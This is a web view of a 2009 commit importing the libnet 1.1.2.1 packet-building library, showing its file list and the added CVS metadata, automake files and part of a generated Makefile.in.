summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorSam Roberts <sroberts@sroberts-desktop.(none)>2009-02-18 13:16:51 -0800
committerSam Roberts <sroberts@sroberts-desktop.(none)>2009-02-18 13:16:51 -0800
commit4679d290c754e2ebd8299ef8abbd2b9e94e82abf (patch)
tree33ec442df1d6480da52961df7dd19cdd41d41fb5
parentc35d5ad62a9b45153cf638272a3d590729728c12 (diff)
downloadlibnet-4679d290c754e2ebd8299ef8abbd2b9e94e82abf.tar.gz
v1.1.2.1 from http://www.packetfactory.net/projects/libnet/
-rw-r--r--libnet/CVS/Entries24
-rw-r--r--libnet/CVS/Repository1
-rw-r--r--libnet/CVS/Root1
-rw-r--r--libnet/Makefile.am15
-rw-r--r--libnet/Makefile.am.common10
-rw-r--r--libnet/Makefile.in443
-rw-r--r--libnet/README21
-rw-r--r--libnet/VERSION1
-rw-r--r--libnet/acconfig.h36
-rw-r--r--libnet/acinclude.m4463
-rw-r--r--libnet/aclocal.m41337
-rw-r--r--libnet/autom4te.cache/CVS/Entries1
-rw-r--r--libnet/autom4te.cache/CVS/Repository1
-rw-r--r--libnet/autom4te.cache/CVS/Root1
-rw-r--r--libnet/autom4te.cache/output.06225
-rw-r--r--libnet/autom4te.cache/requests111
-rw-r--r--libnet/autom4te.cache/traces.0272
-rw-r--r--libnet/config.guess1314
-rw-r--r--libnet/config.sub1410
-rwxr-xr-xlibnet/configure6225
-rw-r--r--libnet/configure.in235
-rw-r--r--libnet/doc/BUGS19
-rw-r--r--libnet/doc/CHANGELOG527
-rw-r--r--libnet/doc/CONTRIB53
-rw-r--r--libnet/doc/COPYING31
-rw-r--r--libnet/doc/CVS/Entries12
-rw-r--r--libnet/doc/CVS/Repository1
-rw-r--r--libnet/doc/CVS/Root1
-rw-r--r--libnet/doc/DESIGN_NOTES134
-rw-r--r--libnet/doc/MIGRATION172
-rw-r--r--libnet/doc/PACKET_BUILDING161
-rw-r--r--libnet/doc/PORTED45
-rw-r--r--libnet/doc/RAWSOCKET_NON_SEQUITUR41
-rw-r--r--libnet/doc/TODO96
-rw-r--r--libnet/doc/html/acconfig_8h-source.html49
-rw-r--r--libnet/doc/html/annotated.html17
-rw-r--r--libnet/doc/html/bpf_8h-source.html277
-rw-r--r--libnet/doc/html/config_8h-source.html125
-rw-r--r--libnet/doc/html/doxygen.css169
-rw-r--r--libnet/doc/html/doxygen.pngbin0 -> 2352 bytes
-rw-r--r--libnet/doc/html/files.html29
-rw-r--r--libnet/doc/html/functions.html26
-rw-r--r--libnet/doc/html/functions_vars.html26
-rw-r--r--libnet/doc/html/getopt_8h-source.html97
-rw-r--r--libnet/doc/html/globals.html219
-rw-r--r--libnet/doc/html/globals_defs.html104
-rw-r--r--libnet/doc/html/globals_func.html136
-rw-r--r--libnet/doc/html/gnuc_8h-source.html56
-rw-r--r--libnet/doc/html/graph_legend.dot22
-rw-r--r--libnet/doc/html/graph_legend.html75
-rw-r--r--libnet/doc/html/ifaddrlist_8h-source.html65
-rw-r--r--libnet/doc/html/in__systm_8h-source.html90
-rw-r--r--libnet/doc/html/index.html17
-rw-r--r--libnet/doc/html/libnet-asn1_8h-source.html268
-rw-r--r--libnet/doc/html/libnet-functions_8h-source.html742
-rw-r--r--libnet/doc/html/libnet-functions_8h.html8844
-rw-r--r--libnet/doc/html/libnet-headers_8h-source.html1655
-rw-r--r--libnet/doc/html/libnet-headers_8h.html3053
-rw-r--r--libnet/doc/html/libnet-macros_8h-source.html161
-rw-r--r--libnet/doc/html/libnet-macros_8h.html358
-rw-r--r--libnet/doc/html/libnet-structures_8h-source.html233
-rw-r--r--libnet/doc/html/libnet-types_8h-source.html58
-rw-r--r--libnet/doc/html/libnet_8h-source.html119
-rw-r--r--libnet/doc/html/libnet_8h.html24
-rw-r--r--libnet/doc/html/structlibnet__802__1q__hdr.html145
-rw-r--r--libnet/doc/html/structlibnet__802__1x__hdr.html97
-rw-r--r--libnet/doc/libnet.doxygen.conf1102
-rw-r--r--libnet/doc/man/CVS/Entries1
-rw-r--r--libnet/doc/man/CVS/Repository1
-rw-r--r--libnet/doc/man/CVS/Root1
-rw-r--r--libnet/doc/man/man3/libnet-functions.h.33136
-rw-r--r--libnet/doc/man/man3/libnet-headers.h.31872
-rw-r--r--libnet/doc/man/man3/libnet-macros.h.3172
-rw-r--r--libnet/doc/man/man3/libnet.h.317
-rw-r--r--libnet/doc/man/man3/libnet_802_1q_hdr.353
-rw-r--r--libnet/doc/man/man3/libnet_802_1x_hdr.341
-rw-r--r--libnet/include/CVS/Entries10
-rw-r--r--libnet/include/CVS/Repository1
-rw-r--r--libnet/include/CVS/Root1
-rw-r--r--libnet/include/Makefile.am7
-rw-r--r--libnet/include/Makefile.in395
-rw-r--r--libnet/include/bpf.h264
-rw-r--r--libnet/include/config.h.in118
-rw-r--r--libnet/include/gnuc.h43
-rw-r--r--libnet/include/ifaddrlist.h52
-rw-r--r--libnet/include/libnet.h.in132
-rw-r--r--libnet/include/libnet/.#libnet-functions.h.1.281582
-rw-r--r--libnet/include/libnet/CVS/Entries9
-rw-r--r--libnet/include/libnet/CVS/Repository1
-rw-r--r--libnet/include/libnet/CVS/Root1
-rw-r--r--libnet/include/libnet/Makefile.am12
-rw-r--r--libnet/include/libnet/Makefile.in294
-rw-r--r--libnet/include/libnet/libnet-asn1.h255
-rw-r--r--libnet/include/libnet/libnet-functions.h2151
-rw-r--r--libnet/include/libnet/libnet-headers.h1662
-rw-r--r--libnet/include/libnet/libnet-macros.h186
-rw-r--r--libnet/include/libnet/libnet-structures.h222
-rw-r--r--libnet/include/libnet/libnet-types.h45
-rw-r--r--libnet/include/stamp-h.in1
-rw-r--r--libnet/include/win32/CVS/Entries5
-rw-r--r--libnet/include/win32/CVS/Repository1
-rw-r--r--libnet/include/win32/CVS/Root1
-rw-r--r--libnet/include/win32/config.h112
-rw-r--r--libnet/include/win32/getopt.h84
-rw-r--r--libnet/include/win32/in_systm.h77
-rw-r--r--libnet/include/win32/libnet.h106
-rwxr-xr-xlibnet/install-sh250
-rw-r--r--libnet/libnet-config.in62
-rw-r--r--libnet/libnet.doxygen.conf1102
-rw-r--r--libnet/man/CVS/Entries1
-rw-r--r--libnet/man/CVS/Repository1
-rw-r--r--libnet/man/CVS/Root1
-rwxr-xr-xlibnet/missing283
-rwxr-xr-xlibnet/mkinstalldirs40
-rw-r--r--libnet/sample/.#icmp_unreach.c.1.2190
-rw-r--r--libnet/sample/.icmp_redirect.c.swpbin0 -> 16384 bytes
-rw-r--r--libnet/sample/CVS/Entries47
-rw-r--r--libnet/sample/CVS/Repository1
-rw-r--r--libnet/sample/CVS/Root1
-rw-r--r--libnet/sample/Makefile.am63
-rw-r--r--libnet/sample/Makefile.in729
-rw-r--r--libnet/sample/arp-new.c144
-rw-r--r--libnet/sample/arp.c151
-rw-r--r--libnet/sample/bgp4_hdr.c225
-rw-r--r--libnet/sample/bgp4_notification.c242
-rw-r--r--libnet/sample/bgp4_open.c266
-rw-r--r--libnet/sample/bgp4_update.c337
-rw-r--r--libnet/sample/cdp.c187
-rw-r--r--libnet/sample/dhcp_discover.c257
-rw-r--r--libnet/sample/dns.c260
-rw-r--r--libnet/sample/dot1x.c113
-rw-r--r--libnet/sample/fddi_tcp1.c213
-rw-r--r--libnet/sample/fddi_tcp2.c209
-rw-r--r--libnet/sample/get_addr.c112
-rw-r--r--libnet/sample/gre.c410
-rw-r--r--libnet/sample/icmp6_echoreq.c184
-rw-r--r--libnet/sample/icmp_echo_cq.c201
-rw-r--r--libnet/sample/icmp_redirect.c200
-rw-r--r--libnet/sample/icmp_timeexceed.c190
-rw-r--r--libnet/sample/icmp_timestamp.c157
-rw-r--r--libnet/sample/icmp_unreach.c204
-rw-r--r--libnet/sample/ieee.c177
-rw-r--r--libnet/sample/ip_link.c201
-rw-r--r--libnet/sample/ip_raw.c180
-rw-r--r--libnet/sample/isl.c167
-rw-r--r--libnet/sample/libnet_test.h60
-rw-r--r--libnet/sample/mpls.c251
-rw-r--r--libnet/sample/ntp.c193
-rw-r--r--libnet/sample/ospf_hello.c179
-rw-r--r--libnet/sample/ospf_lsa.c190
-rw-r--r--libnet/sample/ping_of_death.c171
-rw-r--r--libnet/sample/rpc_tcp.c214
-rw-r--r--libnet/sample/rpc_udp.c213
-rw-r--r--libnet/sample/sebek.c299
-rw-r--r--libnet/sample/smurf.c194
-rw-r--r--libnet/sample/stp.c227
-rw-r--r--libnet/sample/synflood.c200
-rw-r--r--libnet/sample/synflood6.c209
-rw-r--r--libnet/sample/synflood6_frag.c234
-rw-r--r--libnet/sample/tcp1.c227
-rw-r--r--libnet/sample/tcp2.c192
-rw-r--r--libnet/sample/tftp.c207
-rw-r--r--libnet/sample/tring_tcp1.c214
-rw-r--r--libnet/sample/tring_tcp2.c210
-rw-r--r--libnet/sample/udp1.c223
-rw-r--r--libnet/sample/udp2.c232
-rw-r--r--libnet/sample/win32/CVS/Entries9
-rw-r--r--libnet/sample/win32/CVS/Repository1
-rw-r--r--libnet/sample/win32/CVS/Root1
-rw-r--r--libnet/sample/win32/arp/CVS/Entries2
-rw-r--r--libnet/sample/win32/arp/CVS/Repository1
-rw-r--r--libnet/sample/win32/arp/CVS/Root1
-rw-r--r--libnet/sample/win32/arp/arp.vcproj136
-rw-r--r--libnet/sample/win32/cdp/CVS/Entries2
-rw-r--r--libnet/sample/win32/cdp/CVS/Repository1
-rw-r--r--libnet/sample/win32/cdp/CVS/Root1
-rw-r--r--libnet/sample/win32/cdp/cdp.vcproj136
-rw-r--r--libnet/sample/win32/dhcp_discover/CVS/Entries2
-rw-r--r--libnet/sample/win32/dhcp_discover/CVS/Repository1
-rw-r--r--libnet/sample/win32/dhcp_discover/CVS/Root1
-rw-r--r--libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj139
-rw-r--r--libnet/sample/win32/dns/CVS/Entries2
-rw-r--r--libnet/sample/win32/dns/CVS/Repository1
-rw-r--r--libnet/sample/win32/dns/CVS/Root1
-rw-r--r--libnet/sample/win32/dns/dns.vcproj139
-rw-r--r--libnet/sample/win32/get_addr/CVS/Entries2
-rw-r--r--libnet/sample/win32/get_addr/CVS/Repository1
-rw-r--r--libnet/sample/win32/get_addr/CVS/Root1
-rw-r--r--libnet/sample/win32/get_addr/get_addr.vcproj139
-rw-r--r--libnet/sample/win32/getopt.c121
-rw-r--r--libnet/sample/win32/icmp_echo_cq/CVS/Entries2
-rw-r--r--libnet/sample/win32/icmp_echo_cq/CVS/Repository1
-rw-r--r--libnet/sample/win32/icmp_echo_cq/CVS/Root1
-rw-r--r--libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj139
-rw-r--r--libnet/sample/win32/tcp1/CVS/Entries2
-rw-r--r--libnet/sample/win32/tcp1/CVS/Repository1
-rw-r--r--libnet/sample/win32/tcp1/CVS/Root1
-rw-r--r--libnet/sample/win32/tcp1/tcp1.vcproj142
-rw-r--r--libnet/sample/win32/udp1/CVS/Entries3
-rw-r--r--libnet/sample/win32/udp1/CVS/Repository1
-rw-r--r--libnet/sample/win32/udp1/CVS/Root1
-rw-r--r--libnet/sample/win32/udp1/dns.vcproj125
-rw-r--r--libnet/sample/win32/udp1/udp1.vcproj139
-rw-r--r--libnet/src/.#libnet_build_icmp.c.1.12558
-rw-r--r--libnet/src/.#libnet_internal.c.1.10308
-rw-r--r--libnet/src/CVS/Entries60
-rw-r--r--libnet/src/CVS/Repository1
-rw-r--r--libnet/src/CVS/Root1
-rw-r--r--libnet/src/Makefile.am71
-rw-r--r--libnet/src/Makefile.in428
-rw-r--r--libnet/src/libnet_advanced.c136
-rw-r--r--libnet/src/libnet_asn1.c436
-rw-r--r--libnet/src/libnet_build_802.1q.c115
-rw-r--r--libnet/src/libnet_build_802.1x.c103
-rw-r--r--libnet/src/libnet_build_802.2.c167
-rw-r--r--libnet/src/libnet_build_802.3.c101
-rw-r--r--libnet/src/libnet_build_arp.c169
-rw-r--r--libnet/src/libnet_build_bgp.c350
-rw-r--r--libnet/src/libnet_build_cdp.c191
-rw-r--r--libnet/src/libnet_build_data.c90
-rw-r--r--libnet/src/libnet_build_dhcp.c156
-rw-r--r--libnet/src/libnet_build_dns.c129
-rw-r--r--libnet/src/libnet_build_ethernet.c173
-rw-r--r--libnet/src/libnet_build_fddi.c191
-rw-r--r--libnet/src/libnet_build_gre.c427
-rw-r--r--libnet/src/libnet_build_icmp.c437
-rw-r--r--libnet/src/libnet_build_igmp.c112
-rw-r--r--libnet/src/libnet_build_ip.c880
-rw-r--r--libnet/src/libnet_build_ipsec.c232
-rw-r--r--libnet/src/libnet_build_isl.c113
-rw-r--r--libnet/src/libnet_build_link.c90
-rw-r--r--libnet/src/libnet_build_mpls.c112
-rw-r--r--libnet/src/libnet_build_ntp.c121
-rw-r--r--libnet/src/libnet_build_ospf.c699
-rw-r--r--libnet/src/libnet_build_rip.c108
-rw-r--r--libnet/src/libnet_build_rpc.c138
-rw-r--r--libnet/src/libnet_build_sebek.c108
-rw-r--r--libnet/src/libnet_build_snmp.c52
-rw-r--r--libnet/src/libnet_build_stp.c222
-rw-r--r--libnet/src/libnet_build_tcp.c365
-rw-r--r--libnet/src/libnet_build_token_ring.c193
-rw-r--r--libnet/src/libnet_build_udp.c111
-rw-r--r--libnet/src/libnet_build_vrrp.c117
-rw-r--r--libnet/src/libnet_checksum.c376
-rw-r--r--libnet/src/libnet_cq.c395
-rw-r--r--libnet/src/libnet_crc.c113
-rw-r--r--libnet/src/libnet_dll.c47
-rw-r--r--libnet/src/libnet_error.c55
-rw-r--r--libnet/src/libnet_if_addr.c415
-rw-r--r--libnet/src/libnet_init.c273
-rw-r--r--libnet/src/libnet_internal.c310
-rw-r--r--libnet/src/libnet_link_bpf.c333
-rw-r--r--libnet/src/libnet_link_dlpi.c770
-rw-r--r--libnet/src/libnet_link_linux.c295
-rw-r--r--libnet/src/libnet_link_nit.c125
-rw-r--r--libnet/src/libnet_link_none.c66
-rw-r--r--libnet/src/libnet_link_pf.c164
-rw-r--r--libnet/src/libnet_link_snit.c149
-rw-r--r--libnet/src/libnet_link_snoop.c166
-rw-r--r--libnet/src/libnet_link_win32.c346
-rw-r--r--libnet/src/libnet_pblock.c511
-rw-r--r--libnet/src/libnet_port_list.c295
-rw-r--r--libnet/src/libnet_prand.c106
-rw-r--r--libnet/src/libnet_raw.c257
-rw-r--r--libnet/src/libnet_resolve.c414
-rw-r--r--libnet/src/libnet_version.c54
-rw-r--r--libnet/src/libnet_write.c421
-rw-r--r--libnet/version.h.in6
-rw-r--r--libnet/win32/CVS/Entries15
-rw-r--r--libnet/win32/CVS/Repository1
-rw-r--r--libnet/win32/CVS/Root1
-rw-r--r--libnet/win32/Libnet-1.1.1-2002.sln77
-rw-r--r--libnet/win32/Libnet-1.1.1-2003.ncbbin0 -> 797696 bytes
-rw-r--r--libnet/win32/Libnet-1.1.1-2003.sln84
-rw-r--r--libnet/win32/Libnet-1.1.1-2003.suobin0 -> 29184 bytes
-rw-r--r--libnet/win32/Libnet-1.1.1.vcproj311
-rw-r--r--libnet/win32/Libnet-latest.ncbbin0 -> 936960 bytes
-rw-r--r--libnet/win32/Libnet-latest.optbin0 -> 49664 bytes
-rw-r--r--libnet/win32/Libnet-latest.sln77
-rw-r--r--libnet/win32/Libnet-latest.suobin0 -> 44032 bytes
-rw-r--r--libnet/win32/Libnet-latest.vcproj311
-rw-r--r--libnet/win32/Libnet.dsp337
-rw-r--r--libnet/win32/Libnet.dsw32
-rw-r--r--libnet/win32/README.txt57
-rw-r--r--libnet/win32/libnet_dll.def164
285 files changed, 81018 insertions, 0 deletions
diff --git a/libnet/CVS/Entries b/libnet/CVS/Entries
new file mode 100644
index 0000000..68ab5ac
--- /dev/null
+++ b/libnet/CVS/Entries
@@ -0,0 +1,24 @@
+/Makefile.am.common/1.3/Sat Jan 3 20:31:00 2004//
+/acconfig.h/1.2/Sat Jan 3 20:31:00 2004//
+/config.guess/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/config.sub/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/install-sh/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/libnet-config.in/1.3/Sat Jan 3 20:31:00 2004//
+/missing/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/mkinstalldirs/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/version.h.in/1.1.1.1/Thu Jun 26 21:55:10 2003//
+D/autom4te.cache////
+D/doc////
+D/include////
+D/man////
+D/sample////
+D/src////
+D/win32////
+/acinclude.m4/1.3/Thu Jan 15 23:53:06 2004//
+/README/1.4/Mon Mar 1 20:26:11 2004//
+/aclocal.m4/1.9/Mon Mar 1 20:26:11 2004//
+/configure/1.8/Mon Mar 1 20:02:37 2004//
+/configure.in/1.9/Mon Mar 1 20:26:11 2004//
+/Makefile.in/1.16/Thu Mar 11 18:50:20 2004//
+/Makefile.am/1.7/Wed Mar 10 20:57:09 2004//
+/VERSION/1.12/Mon Mar 29 17:20:53 2004//
diff --git a/libnet/CVS/Repository b/libnet/CVS/Repository
new file mode 100644
index 0000000..113b742
--- /dev/null
+++ b/libnet/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet
diff --git a/libnet/CVS/Root b/libnet/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/Makefile.am b/libnet/Makefile.am
new file mode 100644
index 0000000..cc732b2
--- /dev/null
+++ b/libnet/Makefile.am
@@ -0,0 +1,15 @@
+# $Id: Makefile.am,v 1.7 2004/03/01 20:26:11 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+# Process this file with automake to produce a Makefile.in script.
+
+include $(top_srcdir)/Makefile.am.common
+
+SUBDIRS = include src sample
+
+EXTRA_DIST = Makefile.am.common
+
+bin_scripts = libnet-config
diff --git a/libnet/Makefile.am.common b/libnet/Makefile.am.common
new file mode 100644
index 0000000..bbb6a8c
--- /dev/null
+++ b/libnet/Makefile.am.common
@@ -0,0 +1,10 @@
+# $Id: Makefile.am.common,v 1.3 2004/01/03 20:31:00 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+
+AUTOMAKE_OPTIONS = foreign no-dependencies
+
+DISTCLEANFILES = *~
diff --git a/libnet/Makefile.in b/libnet/Makefile.in
new file mode 100644
index 0000000..64bce5e
--- /dev/null
+++ b/libnet/Makefile.in
@@ -0,0 +1,443 @@
+# Makefile.in generated by automake 1.6.3 from Makefile.am.
+# @configure_input@
+
+# Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# $Id: Makefile.in,v 1.16 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+# Process this file with automake to produce a Makefile.in script.
+
+# $Id: Makefile.in,v 1.16 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+SHELL = @SHELL@
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+prefix = @prefix@
+exec_prefix = @exec_prefix@
+
+bindir = @bindir@
+sbindir = @sbindir@
+libexecdir = @libexecdir@
+datadir = @datadir@
+sysconfdir = @sysconfdir@
+sharedstatedir = @sharedstatedir@
+localstatedir = @localstatedir@
+libdir = @libdir@
+infodir = @infodir@
+mandir = @mandir@
+includedir = @includedir@
+oldincludedir = /usr/include
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = .
+
+ACLOCAL = @ACLOCAL@
+AUTOCONF = @AUTOCONF@
+AUTOMAKE = @AUTOMAKE@
+AUTOHEADER = @AUTOHEADER@
+
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_DATA = @INSTALL_DATA@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = @program_transform_name@
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_alias = @build_alias@
+build_triplet = @build@
+host_alias = @host_alias@
+host_triplet = @host@
+target_alias = @target_alias@
+target_triplet = @target@
+
+EXEEXT = @EXEEXT@
+OBJEXT = @OBJEXT@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+ADDITIONAL_LIBS = @ADDITIONAL_LIBS@
+AMTAR = @AMTAR@
+AWK = @AWK@
+CC = @CC@
+DEPDIR = @DEPDIR@
+ENDIANESS = @ENDIANESS@
+HAVE_PACKET_SOCKET = @HAVE_PACKET_SOCKET@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LIBNET_CONFIG_CFLAGS = @LIBNET_CONFIG_CFLAGS@
+LIBNET_CONFIG_DEFINES = @LIBNET_CONFIG_DEFINES@
+LIBNET_CONFIG_LIBS = @LIBNET_CONFIG_LIBS@
+LIBNET_VERSION = @LIBNET_VERSION@
+MAINT = @MAINT@
+PACKAGE = @PACKAGE@
+RANLIB = @RANLIB@
+STRIP = @STRIP@
+VERSION = @VERSION@
+am__include = @am__include@
+am__quote = @am__quote@
+install_sh = @install_sh@
+
+AUTOMAKE_OPTIONS = foreign no-dependencies
+
+DISTCLEANFILES = *~
+
+SUBDIRS = include src sample
+
+EXTRA_DIST = Makefile.am.common
+
+bin_scripts = libnet-config
+subdir = .
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/include/config.h
+CONFIG_CLEAN_FILES = version.h libnet-config
+depcomp =
+am__depfiles_maybe =
+DIST_SOURCES =
+
+RECURSIVE_TARGETS = info-recursive dvi-recursive install-info-recursive \
+ uninstall-info-recursive all-recursive install-data-recursive \
+ install-exec-recursive installdirs-recursive install-recursive \
+ uninstall-recursive check-recursive installcheck-recursive
+DIST_COMMON = README Makefile.am Makefile.in acconfig.h acinclude.m4 \
+ aclocal.m4 config.guess config.sub configure configure.in \
+ install-sh libnet-config.in missing mkinstalldirs version.h.in
+DIST_SUBDIRS = $(SUBDIRS)
+all: all-recursive
+
+.SUFFIXES:
+
+am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \
+ configure.lineno
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ Makefile.am $(top_srcdir)/Makefile.am.common $(top_srcdir)/configure.in $(ACLOCAL_M4)
+ cd $(top_srcdir) && \
+ $(AUTOMAKE) --foreign Makefile
+Makefile: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.in $(top_builddir)/config.status
+ cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)
+
+$(top_builddir)/config.status: $(srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+ $(SHELL) ./config.status --recheck
+$(srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(srcdir)/configure.in $(ACLOCAL_M4) $(CONFIGURE_DEPENDENCIES)
+ cd $(srcdir) && $(AUTOCONF)
+
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ configure.in acinclude.m4
+ cd $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS)
+version.h: $(top_builddir)/config.status version.h.in
+ cd $(top_builddir) && $(SHELL) ./config.status $@
+libnet-config: $(top_builddir)/config.status libnet-config.in
+ cd $(top_builddir) && $(SHELL) ./config.status $@
+uninstall-info-am:
+
+# This directory's subdirectories are mostly independent; you can cd
+# into them and run `make' without going through this Makefile.
+# To change the values of `make' variables: instead of editing Makefiles,
+# (1) if the variable is set in `config.status', edit `config.status'
+# (which will cause the Makefiles to be regenerated when you run `make');
+# (2) otherwise, pass the desired values on the `make' command line.
+$(RECURSIVE_TARGETS):
+ @set fnord $$MAKEFLAGS; amf=$$2; \
+ dot_seen=no; \
+ target=`echo $@ | sed s/-recursive//`; \
+ list='$(SUBDIRS)'; for subdir in $$list; do \
+ echo "Making $$target in $$subdir"; \
+ if test "$$subdir" = "."; then \
+ dot_seen=yes; \
+ local_target="$$target-am"; \
+ else \
+ local_target="$$target"; \
+ fi; \
+ (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+ || case "$$amf" in *=*) exit 1;; *k*) fail=yes;; *) exit 1;; esac; \
+ done; \
+ if test "$$dot_seen" = "no"; then \
+ $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \
+ fi; test -z "$$fail"
+
+mostlyclean-recursive clean-recursive distclean-recursive \
+maintainer-clean-recursive:
+ @set fnord $$MAKEFLAGS; amf=$$2; \
+ dot_seen=no; \
+ case "$@" in \
+ distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \
+ *) list='$(SUBDIRS)' ;; \
+ esac; \
+ rev=''; for subdir in $$list; do \
+ if test "$$subdir" = "."; then :; else \
+ rev="$$subdir $$rev"; \
+ fi; \
+ done; \
+ rev="$$rev ."; \
+ target=`echo $@ | sed s/-recursive//`; \
+ for subdir in $$rev; do \
+ echo "Making $$target in $$subdir"; \
+ if test "$$subdir" = "."; then \
+ local_target="$$target-am"; \
+ else \
+ local_target="$$target"; \
+ fi; \
+ (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+ || case "$$amf" in *=*) exit 1;; *k*) fail=yes;; *) exit 1;; esac; \
+ done && test -z "$$fail"
+tags-recursive:
+ list='$(SUBDIRS)'; for subdir in $$list; do \
+ test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
+ done
+
+ETAGS = etags
+ETAGSFLAGS =
+
+tags: TAGS
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ mkid -fID $$unique
+
+TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \
+ $(TAGS_FILES) $(LISP)
+ tags=; \
+ here=`pwd`; \
+ list='$(SUBDIRS)'; for subdir in $$list; do \
+ if test "$$subdir" = .; then :; else \
+ test -f $$subdir/TAGS && tags="$$tags -i $$here/$$subdir/TAGS"; \
+ fi; \
+ done; \
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ test -z "$(ETAGS_ARGS)$$tags$$unique" \
+ || $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+ $$tags $$unique
+
+GTAGS:
+ here=`$(am__cd) $(top_builddir) && pwd` \
+ && cd $(top_srcdir) \
+ && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+ -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+
+top_distdir = .
+distdir = $(PACKAGE)-$(VERSION)
+
+am__remove_distdir = \
+ { test ! -d $(distdir) \
+ || { find $(distdir) -type d ! -perm -200 -exec chmod u+w {} ';' \
+ && rm -fr $(distdir); }; }
+
+GZIP_ENV = --best
+distcleancheck_listfiles = find . -type f -print
+
+distdir: $(DISTFILES)
+ $(am__remove_distdir)
+ mkdir $(distdir)
+ $(mkinstalldirs) $(distdir)/. $(distdir)/include
+ @list='$(DISTFILES)'; for file in $$list; do \
+ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+ dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+ if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+ dir="/$$dir"; \
+ $(mkinstalldirs) "$(distdir)$$dir"; \
+ else \
+ dir=''; \
+ fi; \
+ if test -d $$d/$$file; then \
+ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+ cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+ fi; \
+ cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+ else \
+ test -f $(distdir)/$$file \
+ || cp -p $$d/$$file $(distdir)/$$file \
+ || exit 1; \
+ fi; \
+ done
+ list='$(SUBDIRS)'; for subdir in $$list; do \
+ if test "$$subdir" = .; then :; else \
